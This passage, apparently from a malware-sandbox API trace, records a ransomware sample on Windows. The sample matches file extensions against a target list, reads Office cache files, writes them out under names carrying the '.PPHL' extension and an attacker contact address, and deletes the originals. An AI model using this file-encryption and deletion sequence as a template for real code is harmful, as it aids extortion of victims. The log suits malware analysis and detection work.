lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.940] lstrlenW (lpString=".1cd") returned 4 [0059.940] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.940] lstrlenW (lpString=".jpg") returned 4 [0059.940] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.940] lstrlenW (lpString=".doc") returned 4 [0059.940] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString=".docx") returned 5 [0059.940] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0059.940] lstrlenW (lpString=".pdf") returned 4 [0059.940] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString=".xls") returned 4 [0059.940] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString=".xlsx") returned 5 [0059.940] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0059.940] lstrlenW (lpString=".ppt") returned 4 [0059.940] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.940] lstrlenW (lpString=".zip") returned 4 [0059.940] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.940] lstrlenW (lpString=".rar") returned 4 [0059.940] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString=".bz2") returned 4 [0059.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString=".7z") returned 3 [0059.941] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.941] lstrlenW (lpString=".dbf") returned 4 [0059.941] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.941] lstrlenW (lpString=".1cd") returned 4 [0059.941] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.941] lstrlenW (lpString=".jpg") returned 4 [0059.941] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.941] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.941] lstrlenW (lpString="Setup.xml") returned 9 [0059.941] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0059.941] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=2424) returned 1 [0059.941] CloseHandle (hObject=0x198) returned 1 [0059.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0059.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0060.108] GetLastError () returned 0x0 [0060.108] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x978, lpOverlapped=0x0) returned 1 [0060.110] WriteFile (in: hFile=0x1a0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x980, lpOverlapped=0x0) returned 1 [0060.111] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.111] WriteFile (in: hFile=0x1a0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.111] SetEndOfFile (hFile=0x1a0) returned 1 [0060.111] CloseHandle (hObject=0x1a0) returned 1 [0060.130] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.130] SetEndOfFile (hFile=0x194) returned 1 [0060.131] CloseHandle (hObject=0x194) returned 1 [0060.131] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.131] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0060.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.131] lstrlenW (lpString=".doc") returned 4 [0060.131] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.131] lstrlenW (lpString=".docx") returned 5 [0060.131] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.132] lstrlenW (lpString=".pdf") returned 4 [0060.132] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString=".xls") returned 4 [0060.132] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString=".xlsx") returned 5 [0060.132] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.132] lstrlenW (lpString=".ppt") returned 4 [0060.132] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.132] lstrlenW (lpString=".zip") returned 4 [0060.132] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.132] lstrlenW (lpString=".rar") returned 4 [0060.132] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString=".bz2") returned 4 [0060.132] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString=".7z") returned 3 [0060.132] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.132] lstrlenW (lpString=".dbf") returned 4 [0060.132] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.132] lstrlenW (lpString=".1cd") returned 4 [0060.132] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.132] lstrlenW (lpString=".jpg") returned 4 [0060.132] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.132] lstrlenW (lpString=".doc") returned 4 [0060.132] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString=".docx") returned 5 [0060.132] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.132] lstrlenW (lpString=".pdf") returned 4 [0060.132] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.132] lstrlenW (lpString=".xls") returned 4 [0060.133] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.133] lstrlenW (lpString=".xlsx") returned 5 [0060.133] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.133] lstrlenW (lpString=".ppt") returned 4 [0060.133] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.133] lstrlenW (lpString=".zip") returned 4 [0060.133] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.133] lstrlenW (lpString=".rar") returned 4 [0060.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.133] lstrlenW (lpString=".bz2") returned 4 [0060.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.133] lstrlenW (lpString=".7z") returned 3 [0060.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.133] lstrlenW (lpString=".dbf") returned 4 [0060.133] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.133] lstrlenW (lpString=".1cd") returned 4 [0060.133] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.133] lstrlenW (lpString=".jpg") returned 4 [0060.133] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.133] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.133] lstrlenW (lpString="WordMUI.xml") returned 11 [0060.133] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.134] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1800) returned 1 [0060.134] CloseHandle (hObject=0x194) returned 1 [0060.134] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0060.134] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.134] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.134] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.134] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.134] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0060.134] GetLastError () returned 0x0 [0060.134] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x708, lpOverlapped=0x0) returned 1 [0060.136] WriteFile (in: hFile=0x1a0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x710, lpOverlapped=0x0) returned 1 [0060.137] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.137] WriteFile (in: hFile=0x1a0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.137] SetEndOfFile (hFile=0x1a0) returned 1 [0060.138] CloseHandle (hObject=0x1a0) returned 1 [0060.144] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.144] SetEndOfFile (hFile=0x194) returned 1 [0060.145] CloseHandle (hObject=0x194) returned 1 [0060.145] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.145] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0060.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.146] lstrlenW (lpString=".doc") returned 4 [0060.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".docx") returned 5 [0060.146] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.146] lstrlenW (lpString=".pdf") returned 4 [0060.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".xls") returned 4 [0060.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".xlsx") returned 5 [0060.146] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.146] lstrlenW (lpString=".ppt") returned 4 [0060.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.146] lstrlenW (lpString=".zip") returned 4 [0060.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.146] lstrlenW (lpString=".rar") returned 4 [0060.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".bz2") returned 4 [0060.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".7z") returned 3 [0060.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.146] lstrlenW (lpString=".dbf") returned 4 [0060.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.146] lstrlenW (lpString=".1cd") returned 4 [0060.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.147] lstrlenW (lpString=".jpg") returned 4 [0060.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.147] lstrlenW (lpString=".doc") returned 4 [0060.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString=".docx") returned 5 [0060.147] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.147] lstrlenW (lpString=".pdf") returned 4 [0060.147] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString=".xls") returned 4 [0060.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString=".xlsx") returned 5 [0060.147] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.147] lstrlenW (lpString=".ppt") returned 4 [0060.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.147] lstrlenW (lpString=".zip") returned 4 [0060.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.147] lstrlenW (lpString=".rar") returned 4 [0060.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString=".bz2") returned 4 [0060.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString=".7z") returned 3 [0060.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.147] lstrlenW (lpString=".dbf") returned 4 [0060.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.147] lstrlenW (lpString=".1cd") returned 4 [0060.147] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0060.147] lstrlenW (lpString=".jpg") returned 4 [0060.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.148] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.148] lstrlenW (lpString="Proof.xml") returned 9 [0060.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.321] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1347) returned 1 [0060.321] CloseHandle (hObject=0x194) returned 1 [0060.321] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0060.321] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.321] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.321] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.321] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.321] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.322] GetLastError () returned 0x0 [0060.322] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x543, lpOverlapped=0x0) returned 1 [0060.324] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x550, lpOverlapped=0x0) returned 1 [0060.324] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.325] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.325] SetEndOfFile (hFile=0x198) returned 1 [0060.325] CloseHandle (hObject=0x198) returned 1 [0060.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.326] SetEndOfFile (hFile=0x194) returned 1 [0060.327] CloseHandle (hObject=0x194) returned 1 [0060.327] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.327] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0060.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.327] lstrlenW (lpString=".doc") returned 4 [0060.327] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.327] lstrlenW (lpString=".docx") returned 5 [0060.327] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0060.327] lstrlenW (lpString=".pdf") returned 4 [0060.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.327] lstrlenW (lpString=".xls") returned 4 [0060.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.327] lstrlenW (lpString=".xlsx") returned 5 [0060.327] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0060.327] lstrlenW (lpString=".ppt") returned 4 [0060.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.327] lstrlenW (lpString=".zip") returned 4 [0060.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.328] lstrlenW (lpString=".rar") returned 4 [0060.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString=".bz2") returned 4 